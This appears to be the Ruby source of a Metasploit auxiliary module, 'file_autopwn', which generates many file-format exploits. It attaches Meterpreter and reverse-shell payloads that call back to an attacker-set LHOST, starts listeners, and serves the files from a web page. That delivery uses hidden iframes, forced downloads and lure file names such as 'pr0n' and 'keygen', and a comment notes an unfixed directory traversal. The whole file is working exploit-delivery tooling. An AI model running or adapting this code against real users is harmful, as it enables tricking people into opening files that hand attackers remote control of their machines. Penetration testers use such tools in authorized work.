metasploit-framework/modules/auxiliary/server/file_autopwn.rb

457 lines
13 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
#require 'rex/exploitation/javascriptosdetect'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'File Format Exploit Generator',
'Version' => '$Revision: 8210 $',
'Description' => %q{
This module generates a combination of File format exploits and make them available to a client. 94.7% Based on browser autopwn by egypt.
},
'Author' =>
[
'et',
],
'License' => BSD_LICENSE,
'Actions' =>
[
[ 'WebServer', {
'Description' => 'Deliver file format exploits in a web page with links to the actual files'
} ],
[ 'OnlyFiles', {
'Description' => 'Create file format exploits in selected directory'
} ],
[ 'list', {
'Description' => 'List the exploit modules that would be started'
} ]
],
'PassiveActions' =>
[ 'WebServer', 'Email' ],
'DefaultAction' => 'WebServer'))
register_options([
OptAddress.new('LHOST', [ true,
'The IP address to use for reverse-connect payloads'
]),
OptString.new('OUTPUTPATH', [ true,
'The location of the files.', File.join(Msf::Config.get_config_root, 'exploits')
]),
OptBool.new('CREATEFILES', [ true,
'Set to false in case files are already in the defined path',
true
]),
OptBool.new('USECONTENTTYPE', [ true,
'Use Content-type header according to file extension. Many exploits may fail depending on this value',
true
]),
], self.class)
register_advanced_options([
OptString.new('MATCH', [false,
'Only attempt to use exploits whose name matches this regex'
]),
OptString.new('EXCLUDE', [false,
'Only attempt to use exploits whose name DOES NOT match this regex'
]),
OptBool.new('USEMODNAME', [false,
'Use module names as file names',
true
]),
OptBool.new('USEIFRAMES', [false,
'Deliver each file as an iframe in webserver',
false
]),
OptString.new('TITLE', [ true,
'The HTML page title.', 'WALL oF SHAME'
]),
OptString.new('COMMENT', [ true,
'HTML page text.', '<b>Welcome!</b><br>'
]),
OptPort.new('LPORT_WIN32', [false,
'The port to use for Windows reverse-connect payloads, default is 3333'
]),
OptPort.new('LPORT_MULTI', [false,
'The port to use for Multi reverse-connect payloads, default is 4444'
]),
OptPort.new('LPORT_MAC', [false,
'The port to use for Mac reverse-connect payloads, default is 5555'
]),
OptPort.new('LPORT_GENERIC', [false,
'The port to use for generic reverse-connect payloads, default is 6666'
]),
], self.class)
@exploits = Hash.new
@payloads = Hash.new
@targetcache = Hash.new
end
def run
storexp = File.join(Msf::Config.get_config_root, 'exploits')
Dir.mkdir(storexp) unless File.directory?(storexp)
if (action.name == 'list')
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
[ [framework.exploits, 'exploit' ] ].each do |mtype|
mtype[0].each_module do |name, mod|
m = mod.new
if ((m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex)
@exploits[name] = nil
print_line name
#print_line
#print_line m.description
#print_line
#print_line "Targets"
#
#begin
# tout = Serializer::ReadableText.dump_exploit_target(m, ' ')
# print_line tout
#rescue
# print_error "Error retrieving targets in #{name}"
#end
end
end
end
print_line
print_status("Found #{@exploits.length} exploit modules")
elsif (action.name == 'WebServer')
if (!framework.db.active)
warn_no_database
end
start_exploit_modules()
if !datastore['CREATEFILES']
print_status("FILES NOT CREATED")
end
if @exploits.length < 1 and datastore["CREATEFILES"]
print_error("No exploits, check your MATCH and EXCLUDE settings")
return false
end
exploit()
elsif (action.name == 'OnlyFiles')
if (!framework.db.active)
warn_no_database
end
start_exploit_modules()
if @exploits.length < 1
print_error("No exploits, check your MATCH and EXCLUDE settings")
return false
end
end
end
def setup
#
# I'm still not sold that this is the best way to do this, but random
# LPORTs causes confusion when things break and breakage when firewalls
# are in the way. I think the ideal solution is to have
# self-identifying payloads so we'd only need 1 LPORT for multiple
# stagers.
#
@win_lport = datastore['LPORT_WIN32'] || 3333
@multi_lport = datastore['LPORT_MULTI'] || 4444
@osx_lport = datastore['LPORT_MACOS'] || 5555
@gen_lport = datastore['LPORT_GENERIC'] || 6666
minrank = framework.datastore['MinimumRank'] || 'manual'
if not RankingName.values.include?(minrank)
print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})")
wlog("MinimumRank invalid, ignoring", 'core', LEV_0)
end
@minrank = RankingName.invert[minrank]
end
def init_exploit(name, mod = nil, targ = 0)
if mod.nil?
@exploits[name] = framework.modules.create(name)
else
@exploits[name] = mod.new
end
modrank = @exploits[name].class.const_defined?('Rank') ? @exploits[name].class.const_get('Rank') : NormalRanking
if (modrank < @minrank)
@exploits.delete(name)
return false
end
case name
when %r{windows}
payload='windows/meterpreter/reverse_tcp'
lport = @win_lport
when %r{multi}
payload='windows/meterpreter/reverse_tcp'
lport = @multi_lport
#when %r{osx}
# Some day...
#payload='osx/meterpreter/reverse_tcp'
else
lport = @gen_lport
payload='generic/shell_reverse_tcp'
end
@payloads[lport] = payload
if datastore['CREATEFILES']
print_status("File Format exploit #{name} with payload #{payload}")
end
@exploits[name].datastore['SRVHOST'] = datastore['SRVHOST']
@exploits[name].datastore['SRVPORT'] = datastore['SRVPORT']
# For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser.
@exploits[name].datastore['OUTPUTPATH'] = datastore['OUTPUTPATH']
if (datastore['USEMODNAME'])
@exploits[name].datastore['FILENAME'] = name.gsub(/[\\\/]/, '_') + '_' + @exploits[name].datastore['FILENAME']
else
# Later change for some simple names
@exploits[name].datastore['FILENAME'] = filerename(File.extname(@exploits[name].datastore['FILENAME']))
end
@exploits[name].datastore['LPORT'] = lport
@exploits[name].datastore['LHOST'] = @lhost
@exploits[name].datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
@exploits[name].datastore['DisablePayloadHandler'] = true
if datastore['CREATEFILES']
@exploits[name].exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Target' => targ,
'Payload' => payload,
'RunAsJob' => true)
# It takes a little time for the resources to get set up, so sleep for
# a bit to make sure the exploit is fully working. Without this,
# mod.get_resource doesn't exist when we need it.
Rex::ThreadSafe.sleep(0.5)
# Make sure this exploit got set up correctly, return false if it
# didn't
if framework.jobs[@exploits[name].job_id.to_s].nil?
print_error("Failed to start exploit module #{name}")
@exploits.delete(name)
return false
end
end
return true
end
def start_exploit_modules()
@lhost = (datastore['LHOST'] || "0.0.0.0")
print_line
print_status("Starting exploit modules on host #{@lhost}...")
print_status("---")
print_line
m_regex = datastore["MATCH"] ? %r{#{datastore["MATCH"]}} : %r{}
e_regex = datastore["EXCLUDE"] ? %r{#{datastore["EXCLUDE"]}} : %r{^$}
[ [framework.exploits, 'exploit' ] ].each do |mtype|
framework.exploits.each_module do |name, mod|
m = mod.new
if (m.kind_of? Msf::Exploit::FILEFORMAT) and name =~ m_regex and name !~ e_regex
next if !(init_exploit(name))
end
end
end
if action.name == 'OnlyFiles'
print_status "--- Done. Files created in #{datastore['OUTPUTPATH']}"
return
end
# start handlers for each type of payload
[@win_lport, @lin_lport, @osx_lport, @gen_lport].each do |lport|
if (lport and @payloads[lport])
print_status("Starting handler for #{@payloads[lport]} on port #{lport}")
multihandler = framework.modules.create("exploit/multi/handler")
multihandler.datastore['LPORT'] = lport
multihandler.datastore['LHOST'] = @lhost
multihandler.datastore['ExitOnSession'] = false
multihandler.datastore['EXITFUNC'] = datastore['EXITFUNC'] || 'thread'
multihandler.exploit_simple(
'LocalInput' => self.user_input,
'LocalOutput' => self.user_output,
'Payload' => @payloads[lport],
'RunAsJob' => true)
end
end
# let the handlers get set up
Rex::ThreadSafe.sleep(0.5)
print_line
print_status("--- Done, found %bld%grn#{@exploits.length}%clr exploit modules")
print_line
end
def on_request_uri(cli, request)
#
# I have NOT fixed dir. transversals!
#
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
case request.uri
when self.get_resource
# This is the first request.
response = create_response()
response["Expires"] = "0"
response.body = "<html > <head > <title > Wall of Shame </title> </head> "
response.body << "<body>"
response.body << "<h2>#{datastore['TITLE']}</h2><br>"
response.body << "#{datastore['COMMENT']}"
Dir.foreach(datastore['OUTPUTPATH']) do |entry|
if entry == '.' or entry == '..'
# do nothing
else
if !datastore['USEIFRAMES']
response.body << "<a href= #{self.get_resource+'/'+entry}>#{entry}</a><br>"
else
response.body << "<iframe style=\"width:0px; height:0px; border: 0px\" src=#{self.get_resource+'/'+entry}><b>#{entry}</b></iframe><br>"
end
end
end
response.body << "</body></html>"
cli.send_response(response)
when %r{^#{self.get_resource}.*}
fname = request.uri.gsub("#{self.get_resource}/","")
response = create_response()
response["Expires"] = "0"
if datastore['USECONTENTTYPE']
response["Content-type"] = ctype(File.extname(fname))['ctype']
if ctype(File.extname(fname))['cdisp']
response["Content-disposition"] = "attachment; filename=#{fname}"
end
else
response["Content-type"] = "application/octet-stream"
response["Content-disposition"] = "attachment; filename=#{fname}"
end
fullname = File.join(datastore['OUTPUTPATH'],fname)
if File.exist?(fullname) and File.file?(fullname)
src = File.open(fullname, "rb")
while (not src.eof?)
response.body << src.read(src.stat.size)
end
src.close
src = nil
else
print_status("404ing #{request.uri}")
send_not_found(cli)
end
cli.send_response(response)
else
print_status("404ing #{request.uri}")
send_not_found(cli)
return false
end
end
def filerename(ext)
#
# A sample way to change file name by type instead of using the ugly
# exploit name
#
case ext
when ".html" then
n = "pr0n" + Rex::Text.rand_text_numeric(4)
when ".exe" then
n = "core_canvas_keygen" + Rex::Text.rand_text_numeric(4)
when ".pdf" then
n = "ebook" + Rex::Text.rand_text_numeric(6)
when ".zip" then
n = "gibson_passwd" + Rex::Text.rand_text_numeric(4)
when ".xsl" then
n = "test" + Rex::Text.rand_text_numeric(2)
when ".m3u" then
n = "musical" + Rex::Text.rand_text_numeric(2)
else
n = "data" + Rex::Text.rand_text_numeric(4)
end
n << ext
return n
end
def ctype(ext)
aret = {}
#
# Need to force download as some exploits (i.e. pdf)
# dont work thru the browser only work when the file is saved and/or opened
#
# ctype: Content-type
# cdisp: true/false Include a "Content-disposition" header to force save as
case ext
when ".html" then
aret['ctype'] = "text/html"
aret['cdisp'] = false
when ".exe" then
aret['ctype'] = "application/octet-stream"
aret['cdisp'] = false
when ".pdf" then
#
# See comments above
# aret['ctype'] = "application/pdf"
aret['ctype'] = "application/octet-stream"
aret['cdisp'] = true
when ".zip" then
aret['ctype'] = "application/zip"
aret['cdisp'] = false
when ".xsl" then
aret['ctype'] = "text/xml"
aret['cdisp'] = false
when ".m3u" then
aret['ctype'] = "audio/x-mpegurl"
aret['cdisp'] = false
else
aret['ctype'] = "application/octet-stream"
aret['cdisp'] = false
end
return aret
end
def warn_no_database
print_error("WARNING: Database is disabled")
end
end